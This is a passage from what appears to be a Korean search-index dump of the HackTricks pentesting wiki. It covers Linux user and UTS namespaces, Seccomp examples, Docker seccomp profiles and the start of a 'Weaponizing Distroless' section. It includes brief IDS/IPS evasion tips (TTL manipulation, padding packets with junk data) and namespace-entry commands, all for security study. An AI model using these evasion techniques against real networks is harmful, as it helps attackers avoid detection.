HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » User Namespace » User Namespace","id":"1728","title":"User Namespace"},"1729":{"body":"사용자 네임스페이스는 사용자 및 그룹 ID 매핑의 격리를 제공하는 리눅스 커널 기능으로, 각 사용자 네임스페이스가 자신만의 사용자 및 그룹 ID 세트를 가질 수 있도록 합니다. 이 격리는 서로 다른 사용자 네임스페이스에서 실행되는 프로세스가 숫자적으로 동일한 사용자 및 그룹 ID를 공유하더라도 서로 다른 권한과 소유권을 가질 수 있게 합니다. 사용자 네임스페이스는 특히 컨테이너화에서 유용하며, 각 컨테이너는 독립적인 사용자 및 그룹 ID 세트를 가져야 하므로 컨테이너와 호스트 시스템 간의 보안 및 격리를 개선할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » User Namespace » Basic Information","id":"1729","title":"Basic Information"},"173":{"body":"https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Network » GLBP & HSRP Attacks » 참고문헌","id":"173","title":"참고문헌"},"1730":{"body":"새로운 사용자 네임스페이스가 생성되면, 빈 사용자 및 그룹 ID 매핑 세트로 시작합니다 . 이는 새로운 사용자 네임스페이스에서 실행되는 모든 프로세스가 초기에는 네임스페이스 외부에서 권한이 없음을 의미합니다 . ID 매핑은 새로운 네임스페이스의 사용자 및 그룹 ID와 부모(또는 호스트) 네임스페이스의 ID 간에 설정될 수 있습니다. 이는 새로운 네임스페이스의 프로세스가 부모 네임스페이스의 사용자 및 그룹 ID에 해당하는 권한과 소유권을 가질 수 있게 합니다. 그러나 ID 매핑은 특정 범위와 ID의 하위 집합으로 제한될 수 있어, 새로운 네임스페이스의 프로세스에 부여된 권한에 대한 세밀한 제어가 가능합니다. 사용자 네임스페이스 내에서, 프로세스는 네임스페이스 내에서의 작업에 대해 전체 루트 권한(UID 0)을 가질 수 있으며 , 여전히 네임스페이스 외부에서는 제한된 권한을 가집니다. 이는 컨테이너가 호스트 시스템에서 전체 루트 권한을 가지지 않고도 자신의 네임스페이스 내에서 루트와 유사한 기능을 수행할 수 있게 합니다. 프로세스는 setns() 시스템 호출을 사용하여 네임스페이스 간에 이동하거나, unshare() 또는 clone() 시스템 호출을 사용하여 CLONE_NEWUSER 플래그와 함께 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 사용자 및 그룹 ID 매핑을 사용하기 시작합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » User Namespace » How it works:","id":"1730","title":"How it works:"},"1731":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » User Namespace » Lab:","id":"1731","title":"Lab:"},"1732":{"body":"CLI bash sudo unshare -U [--mount-proc] /bin/bash 새로운 인스턴스의 /proc 파일 시스템을 --mount-proc 매개변수를 사용하여 마운트하면, 새로운 마운트 네임스페이스가 해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록 보장합니다 . 오류: bash: fork: 메모리를 할당할 수 없습니다 unshare가 -f 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: 문제 설명 : Linux 커널은 프로세스가 unshare 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 \\"unshare\\" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. %unshare -p /bin/bash%를 실행하면 /bin/bash가 unshare와 동일한 프로세스에서 시작됩니다. 결과적으로 /bin/bash와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. 새로운 네임스페이스에서 /bin/bash의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. 결과 : 새로운 네임스페이스에서 PID 1의 종료는 PIDNS_HASH_ADDING 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 alloc_pid 함수가 새로운 PID를 할당하지 못하게 되어 \\"메모리를 할당할 수 없습니다\\" 오류가 발생합니다. 해결책 : 이 문제는 unshare와 함께 -f 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 unshare가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. %unshare -fp /bin/bash%를 실행하면 unshare 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. /bin/bash와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. unshare가 -f 플래그와 함께 실행되도록 보장함으로써, 새로운 PID 네임스페이스가 올바르게 유지되어 /bin/bash와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다. Docker bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash 사용자 네임스페이스를 사용하려면 Docker 데몬을 **--userns-remap=default**로 시작해야 합니다(우분투 14.04에서는 /etc/default/docker를 수정한 후 sudo service docker restart를 실행하여 이 작업을 수행할 수 있습니다).","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » User Namespace » Create different Namespaces","id":"1732","title":"Create different Namespaces"},"1733":{"body":"bash ls -l /proc/self/ns/user\\nlrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> \'user:[4026531837]\' docker 컨테이너에서 사용자 맵을 확인하는 것은 다음과 같이 가능합니다: bash cat /proc/self/uid_map\\n0 0 4294967295 --> Root is root in host\\n0 231072 65536 --> Root is 231072 userid in host 호스트에서: bash cat /proc//uid_map","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » User Namespace » 프로세스가 어떤 네임스페이스에 있는지 확인하기","id":"1733","title":"프로세스가 어떤 네임스페이스에 있는지 확인하기"},"1734":{"body":"bash sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \\\\; 2>/dev/null | sort -u\\n# Find the processes with an specific namespace\\nsudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \\\\; 2>/dev/null | grep ","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » User Namespace » 모든 사용자 네임스페이스 찾기","id":"1734","title":"모든 사용자 네임스페이스 찾기"},"1735":{"body":"bash nsenter -U TARGET_PID --pid /bin/bash 또한, 루트 사용자만 다른 프로세스 네임스페이스에 들어갈 수 있습니다 . 그리고 디스크립터 가 없으면 다른 네임스페이스에 들어갈 수 없습니다 (예: /proc/self/ns/user).","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » User Namespace » 사용자 네임스페이스 내부로 들어가기","id":"1735","title":"사용자 네임스페이스 내부로 들어가기"},"1736":{"body":"bash unshare -U [--map-user=|] [--map-group=|] [--map-root-user] [--map-current-user] bash # Container\\nsudo unshare -U /bin/bash\\nnobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody # From the host\\nps -ef | grep bash # The user inside the host is still root, not nobody\\nroot 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » User Namespace » 새로운 사용자 네임스페이스 생성 (매핑 포함)","id":"1736","title":"새로운 사용자 네임스페이스 생성 (매핑 포함)"},"1737":{"body":"사용자 네임스페이스의 경우, 새로운 사용자 네임스페이스가 생성되면, 해당 네임스페이스에 들어가는 프로세스는 그 네임스페이스 내에서 전체 권한 세트를 부여받습니다 . 이러한 권한은 프로세스가 파일 시스템을 마운트 하거나, 장치를 생성하거나, 파일의 소유권을 변경하는 등의 특권 작업을 수행할 수 있게 해주지만, 오직 자신의 사용자 네임스페이스의 맥락 내에서만 가능합니다. 예를 들어, 사용자 네임스페이스 내에서 CAP_SYS_ADMIN 권한을 가지고 있을 때, 파일 시스템을 마운트하는 것과 같이 일반적으로 이 권한이 필요한 작업을 수행할 수 있지만, 오직 자신의 사용자 네임스페이스의 맥락 내에서만 가능합니다. 이 권한으로 수행하는 모든 작업은 호스트 시스템이나 다른 네임스페이스에 영향을 미치지 않습니다. warning 따라서, 새로운 사용자 네임스페이스 내에 새로운 프로세스를 생성하는 것이 모든 권한을 다시 부여받게 할 것입니다 (CapEff: 000001ffffffffff), 실제로는 네임스페이스와 관련된 권한만 사용할 수 있습니다 (예: 마운트) 하지만 모든 권한을 사용할 수는 없습니다. 따라서, 이것만으로는 Docker 컨테이너에서 탈출하기에 충분하지 않습니다. bash # There are the syscalls that are filtered after changing User namespace with:\\nunshare -UmCpf bash Probando: 0x067 . . . Error\\nProbando: 0x070 . . . Error\\nProbando: 0x074 . . . Error\\nProbando: 0x09b . . . Error\\nProbando: 0x0a3 . . . Error\\nProbando: 0x0a4 . . . Error\\nProbando: 0x0a7 . . . Error\\nProbando: 0x0a8 . . . Error\\nProbando: 0x0aa . . . Error\\nProbando: 0x0ab . . . Error\\nProbando: 0x0af . . . Error\\nProbando: 0x0b0 . . . Error\\nProbando: 0x0f6 . . . Error\\nProbando: 0x12c . . . Error\\nProbando: 0x130 . . . Error\\nProbando: 0x139 . . . Error\\nProbando: 0x140 . . . Error\\nProbando: 0x141 . . . Error tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » User Namespace » Recovering Capabilities","id":"1737","title":"Recovering Capabilities"},"1738":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » UTS Namespace » UTS Namespace","id":"1738","title":"UTS Namespace"},"1739":{"body":"UTS (UNIX Time-Sharing System) 네임스페이스는 두 개의 시스템 식별자, 즉 호스트 이름 과 NIS (Network Information Service) 도메인 이름의 격리를 제공하는 리눅스 커널 기능입니다. 이 격리는 각 UTS 네임스페이스가 자신의 독립적인 호스트 이름과 NIS 도메인 이름 을 가질 수 있게 하며, 이는 각 컨테이너가 자신의 호스트 이름을 가진 별도의 시스템처럼 보이도록 해야 하는 컨테이너화 시나리오에서 특히 유용합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » UTS Namespace » Basic Information","id":"1739","title":"Basic Information"},"174":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. IDS/IPS에 도달할 수 있을 만큼의 TTL을 가진 패킷을 보내되, 최종 시스템에는 도달하지 않도록 합니다. 그런 다음, 다른 패킷과 동일한 시퀀스를 가진 패킷을 다시 보내면 IPS/IDS는 이를 반복으로 간주하고 검사를 하지 않지만, 실제로는 악성 콘텐츠를 포함하고 있습니다. Nmap 옵션: --ttlvalue ","breadcrumbs":"Pentesting Network » IDS and IPS Evasion » TTL 조작","id":"174","title":"TTL 조작"},"1740":{"body":"새로운 UTS 네임스페이스가 생성되면, 부모 네임스페이스의 호스트 이름과 NIS 도메인 이름의 복사본 으로 시작합니다. 이는 생성 시 새로운 네임스페이스가 부모와 동일한 식별자를 공유 함을 의미합니다. 그러나 네임스페이스 내에서 호스트 이름이나 NIS 도메인 이름에 대한 이후의 변경은 다른 네임스페이스에 영향을 미치지 않습니다. UTS 네임스페이스 내의 프로세스는 각각 sethostname() 및 setdomainname() 시스템 호출을 사용하여 호스트 이름과 NIS 도메인 이름을 변경할 수 있습니다 . 이러한 변경은 네임스페이스에 국한되며 다른 네임스페이스나 호스트 시스템에 영향을 미치지 않습니다. 프로세스는 setns() 시스템 호출을 사용하여 네임스페이스 간에 이동하거나 unshare() 또는 clone() 시스템 호출을 사용하여 CLONE_NEWUTS 플래그와 함께 새로운 네임스페이스를 생성할 수 있습니다. 프로세스가 새로운 네임스페이스로 이동하거나 생성할 때, 해당 네임스페이스와 연결된 호스트 이름과 NIS 도메인 이름을 사용하기 시작합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » UTS Namespace » How it works:","id":"1740","title":"How it works:"},"1741":{"body":"","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » UTS Namespace » Lab:","id":"1741","title":"Lab:"},"1742":{"body":"CLI bash sudo unshare -u [--mount-proc] /bin/bash 새로운 인스턴스의 /proc 파일 시스템을 마운트하면 --mount-proc 매개변수를 사용하여 새로운 마운트 네임스페이스가 해당 네임스페이스에 특정한 프로세스 정보에 대한 정확하고 격리된 뷰를 갖도록 보장합니다. 오류: bash: fork: 메모리를 할당할 수 없습니다 unshare가 -f 옵션 없이 실행될 때, Linux가 새로운 PID(프로세스 ID) 네임스페이스를 처리하는 방식 때문에 오류가 발생합니다. 주요 세부사항과 해결책은 아래에 설명되어 있습니다: 문제 설명 : Linux 커널은 프로세스가 unshare 시스템 호출을 사용하여 새로운 네임스페이스를 생성할 수 있도록 허용합니다. 그러나 새로운 PID 네임스페이스를 생성하는 프로세스(이를 \\"unshare\\" 프로세스라고 함)는 새로운 네임스페이스에 들어가지 않으며, 오직 그 자식 프로세스만 들어갑니다. %unshare -p /bin/bash%를 실행하면 /bin/bash가 unshare와 동일한 프로세스에서 시작됩니다. 결과적으로 /bin/bash와 그 자식 프로세스는 원래 PID 네임스페이스에 있습니다. 새로운 네임스페이스에서 /bin/bash의 첫 번째 자식 프로세스는 PID 1이 됩니다. 이 프로세스가 종료되면, 다른 프로세스가 없을 경우 네임스페이스의 정리가 트리거됩니다. PID 1은 고아 프로세스를 입양하는 특별한 역할을 가지고 있습니다. 그러면 Linux 커널은 해당 네임스페이스에서 PID 할당을 비활성화합니다. 결과 : 새로운 네임스페이스에서 PID 1의 종료는 PIDNS_HASH_ADDING 플래그의 정리를 초래합니다. 이로 인해 새로운 프로세스를 생성할 때 alloc_pid 함수가 새로운 PID를 할당하지 못하게 되어 \\"메모리를 할당할 수 없습니다\\" 오류가 발생합니다. 해결책 : 이 문제는 unshare와 함께 -f 옵션을 사용하여 해결할 수 있습니다. 이 옵션은 unshare가 새로운 PID 네임스페이스를 생성한 후 새로운 프로세스를 포크하도록 만듭니다. %unshare -fp /bin/bash%를 실행하면 unshare 명령 자체가 새로운 네임스페이스에서 PID 1이 됩니다. 그 결과 /bin/bash와 그 자식 프로세스는 이 새로운 네임스페이스 내에서 안전하게 포함되어 PID 1의 조기 종료를 방지하고 정상적인 PID 할당을 허용합니다. unshare가 -f 플래그와 함께 실행되도록 보장함으로써 새로운 PID 네임스페이스가 올바르게 유지되며, /bin/bash와 그 하위 프로세스가 메모리 할당 오류 없이 작동할 수 있습니다. Docker bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » UTS Namespace » Create different Namespaces","id":"1742","title":"Create different Namespaces"},"1743":{"body":"bash ls -l /proc/self/ns/uts\\nlrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> \'uts:[4026531838]\'","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » UTS Namespace » 프로세스가 어떤 네임스페이스에 있는지 확인하기","id":"1743","title":"프로세스가 어떤 네임스페이스에 있는지 확인하기"},"1744":{"body":"bash sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \\\\; 2>/dev/null | sort -u\\n# Find the processes with an specific namespace\\nsudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \\\\; 2>/dev/null | grep ","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » UTS Namespace » 모든 UTS 네임스페이스 찾기","id":"1744","title":"모든 UTS 네임스페이스 찾기"},"1745":{"body":"bash nsenter -u TARGET_PID --pid /bin/bash tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Namespaces » UTS Namespace » UTS 네임스페이스 내부로 들어가기","id":"1745","title":"UTS 네임스페이스 내부로 들어가기"},"1746":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Seccomp » Seccomp","id":"1746","title":"Seccomp"},"1747":{"body":"Seccomp 는 Secure Computing mode의 약자로, 시스템 호출을 필터링하기 위해 설계된 Linux 커널의 보안 기능 입니다. 이는 프로세스를 제한된 시스템 호출 집합(exit(), sigreturn(), read(), 및 write() 이미 열린 파일 설명자에 대해)으로 제한합니다. 프로세스가 다른 호출을 시도하면 커널에 의해 SIGKILL 또는 SIGSYS로 종료됩니다. 이 메커니즘은 리소스를 가상화하지 않고 프로세스를 이로부터 격리합니다. Seccomp를 활성화하는 방법은 두 가지가 있습니다: PR_SET_SECCOMP와 함께 prctl(2) 시스템 호출을 사용하거나, Linux 커널 3.17 이상에서는 seccomp(2) 시스템 호출을 사용하는 것입니다. /proc/self/seccomp에 쓰는 오래된 방법은 prctl()을 선호하여 더 이상 사용되지 않습니다. 향상된 기능인 seccomp-bpf 는 Berkeley Packet Filter (BPF) 규칙을 사용하여 사용자 정의 정책으로 시스템 호출을 필터링할 수 있는 기능을 추가합니다. 이 확장은 OpenSSH, vsftpd 및 Chrome OS와 Linux의 Chrome/Chromium 브라우저와 같은 소프트웨어에서 유연하고 효율적인 시스템 호출 필터링을 위해 활용되며, 이제 지원되지 않는 Linux의 systrace에 대한 대안을 제공합니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Seccomp » 기본 정보","id":"1747","title":"기본 정보"},"1748":{"body":"이 모드에서 Seccomp는 오직 syscalls exit(), sigreturn(), read() 및 write()를 이미 열린 파일 설명자에 대해서만 허용합니다. 다른 syscalls가 발생하면 프로세스는 SIGKILL로 종료됩니다. seccomp_strict.c #include \\n#include \\n#include \\n#include \\n#include \\n#include //From https://sysdig.com/blog/selinux-seccomp-falco-technical-discussion/\\n//gcc seccomp_strict.c -o seccomp_strict int main(int argc, char **argv)\\n{\\nint output = open(\\"output.txt\\", O_WRONLY);\\nconst char *val = \\"test\\"; //enables strict seccomp mode\\nprintf(\\"Calling prctl() to set seccomp strict mode...\\\\n\\");\\nprctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); //This is allowed as the file was already opened\\nprintf(\\"Writing to an already open file...\\\\n\\");\\nwrite(output, val, strlen(val)+1); //This isn\'t allowed\\nprintf(\\"Trying to open file for reading...\\\\n\\");\\nint input = open(\\"output.txt\\", O_RDONLY); printf(\\"You will not see this message--the process will be killed first\\\\n\\");\\n}","breadcrumbs":"Linux Privilege Escalation » Docker Security » Seccomp » 원본/엄격 모드","id":"1748","title":"원본/엄격 모드"},"1749":{"body":"이 모드는 버클리 패킷 필터 규칙을 사용하여 구현된 구성 가능한 정책을 사용하여 시스템 호출을 필터링 할 수 있게 해줍니다. seccomp_bpf.c #include \\n#include \\n#include \\n#include //https://security.stackexchange.com/questions/168452/how-is-sandboxing-implemented/175373\\n//gcc seccomp_bpf.c -o seccomp_bpf -lseccomp void main(void) {\\n/* initialize the libseccomp context */\\nscmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); /* allow exiting */\\nprintf(\\"Adding rule : Allow exit_group\\\\n\\");\\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); /* allow getting the current pid */\\n//printf(\\"Adding rule : Allow getpid\\\\n\\");\\n//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0); printf(\\"Adding rule : Deny getpid\\\\n\\");\\nseccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);\\n/* allow changing data segment size, as required by glibc */\\nprintf(\\"Adding rule : Allow brk\\\\n\\");\\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); /* allow writing up to 512 bytes to fd 1 */\\nprintf(\\"Adding rule : Allow write upto 512 bytes to FD 1\\\\n\\");\\nseccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,\\nSCMP_A0(SCMP_CMP_EQ, 1),\\nSCMP_A2(SCMP_CMP_LE, 512)); /* if writing to any other fd, return -EBADF */\\nprintf(\\"Adding rule : Deny write to any FD except 1 \\\\n\\");\\nseccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,\\nSCMP_A0(SCMP_CMP_NE, 1)); /* load and enforce the filters */\\nprintf(\\"Load rules and enforce \\\\n\\");\\nseccomp_load(ctx);\\nseccomp_release(ctx);\\n//Get the getpid is denied, a weird number will be returned like\\n//this process is -9\\nprintf(\\"this process is %d\\\\n\\", getpid());\\n}","breadcrumbs":"Linux Privilege Escalation » Docker Security » Seccomp » Seccomp-bpf","id":"1749","title":"Seccomp-bpf"},"175":{"body":"패킷에 쓰레기 데이터를 추가하여 IPS/IDS 서명을 회피합니다. Nmap 옵션: --data-length 25","breadcrumbs":"Pentesting Network » IDS and IPS Evasion » 서명 회피","id":"175","title":"서명 회피"},"1750":{"body":"Seccomp-bpf 는 Docker 에서 syscalls 를 제한하여 컨테이너의 공격 표면을 효과적으로 줄이는 것을 지원합니다. https://docs.docker.com/engine/security/seccomp/ 에서 기본적으로 차단된 syscalls 를 확인할 수 있으며, 기본 seccomp 프로필 은 https://github.com/moby/moby/blob/master/profiles/seccomp/default.json 에서 확인할 수 있습니다. 다음과 같이 다른 seccomp 정책으로 도커 컨테이너를 실행할 수 있습니다: bash docker run --rm \\\\\\n-it \\\\\\n--security-opt seccomp=/path/to/seccomp/profile.json \\\\\\nhello-world 컨테이너가 uname과 같은 syscall 을 실행하는 것을 금지 하려면 https://github.com/moby/moby/blob/master/profiles/seccomp/default.json 에서 기본 프로필을 다운로드하고 목록에서 uname 문자열을 제거 하면 됩니다. 어떤 바이너리가 도커 컨테이너 내에서 작동하지 않도록 하려면 strace를 사용하여 바이너리가 사용하는 syscalls를 나열한 다음 이를 금지할 수 있습니다. 다음 예제에서는 uname의 syscalls 가 발견됩니다: bash docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname note 만약 애플리케이션을 실행하기 위해 Docker를 사용하는 것이라면 , **strace**로 프로파일링 하고 필요한 시스템 호출만 허용 할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Seccomp » Docker에서의 Seccomp","id":"1750","title":"Docker에서의 Seccomp"},"1751":{"body":"여기에서 예제 Seccomp 기능을 설명하기 위해, 아래와 같이 \\"chmod\\" 시스템 호출을 비활성화하는 Seccomp 프로파일을 생성해 보겠습니다. json {\\n\\"defaultAction\\": \\"SCMP_ACT_ALLOW\\",\\n\\"syscalls\\": [\\n{\\n\\"name\\": \\"chmod\\",\\n\\"action\\": \\"SCMP_ACT_ERRNO\\"\\n}\\n]\\n} 위 프로필에서는 기본 동작을 \\"허용\\"으로 설정하고 \\"chmod\\"를 비활성화하는 블랙리스트를 생성했습니다. 더 안전하게 만들기 위해 기본 동작을 드롭으로 설정하고 시스템 호출을 선택적으로 활성화하는 화이트리스트를 생성할 수 있습니다. 다음 출력은 seccomp 프로필에서 비활성화되어 있기 때문에 \\"chmod\\" 호출이 오류를 반환하는 것을 보여줍니다. bash $ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts\\nchmod: /etc/hosts: Operation not permitted 다음 출력은 프로파일을 표시하는 \\"docker inspect\\"를 보여줍니다: json \\"SecurityOpt\\": [\\n\\"seccomp:{\\\\\\"defaultAction\\\\\\":\\\\\\"SCMP_ACT_ALLOW\\\\\\",\\\\\\"syscalls\\\\\\":[{\\\\\\"name\\\\\\":\\\\\\"chmod\\\\\\",\\\\\\"action\\\\\\":\\\\\\"SCMP_ACT_ERRNO\\\\\\"}]}\\"\\n] tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Seccomp » 예제 Seccomp 정책","id":"1751","title":"예제 Seccomp 정책"},"1752":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Weaponizing Distroless » Weaponizing Distroless","id":"1752","title":"Weaponizing Distroless"},"1753":{"body":"Distroless 컨테이너는 특정 애플리케이션을 실행하는 데 필요한 종속성만 포함하는 컨테이너의 일종으로, 필요하지 않은 추가 소프트웨어나 도구는 포함하지 않습니다. 이러한 컨테이너는 가능한 한 경량화 되고 안전 하도록 설계되었으며, 불필요한 구성 요소를 제거하여 공격 표면을 최소화 하는 것을 목표로 합니다. Distroless 컨테이너는 보안과 신뢰성이 가장 중요한 생산 환경 에서 자주 사용됩니다. Distroless 컨테이너의 몇 가지 예 는 다음과 같습니다: Google 에서 제공: https://console.cloud.google.com/gcr/images/distroless/GLOBAL Chainguard 에서 제공: https://github.com/chainguard-images/images/tree/main/images","breadcrumbs":"Linux Privilege Escalation » Docker Security » Weaponizing Distroless » What is Distroless","id":"1753","title":"What is Distroless"},"1754":{"body":"Distroless 컨테이너를 무기화하는 목표는 distroless 에 의해 암시된 제한에도 불구하고 임의의 바이너리와 페이로드를 실행할 수 있는 것입니다(시스템에 일반적인 바이너리가 부족함) 그리고 읽기 전용 또는 실행 금지 와 같은 컨테이너에서 일반적으로 발견되는 보호 기능도 포함됩니다.","breadcrumbs":"Linux Privilege Escalation » Docker Security » Weaponizing Distroless » Weaponizing Distroless","id":"1754","title":"Weaponizing Distroless"},"1755":{"body":"2023년의 어느 시점에...","breadcrumbs":"Linux Privilege Escalation » Docker Security » Weaponizing Distroless » Through memory","id":"1755","title":"Through memory"},"1756":{"body":"openssl **** 이 게시물에서, 바이너리 **openssl**이 이러한 컨테이너에서 자주 발견된다고 설명되어 있으며, 이는 컨테이너 내에서 실행될 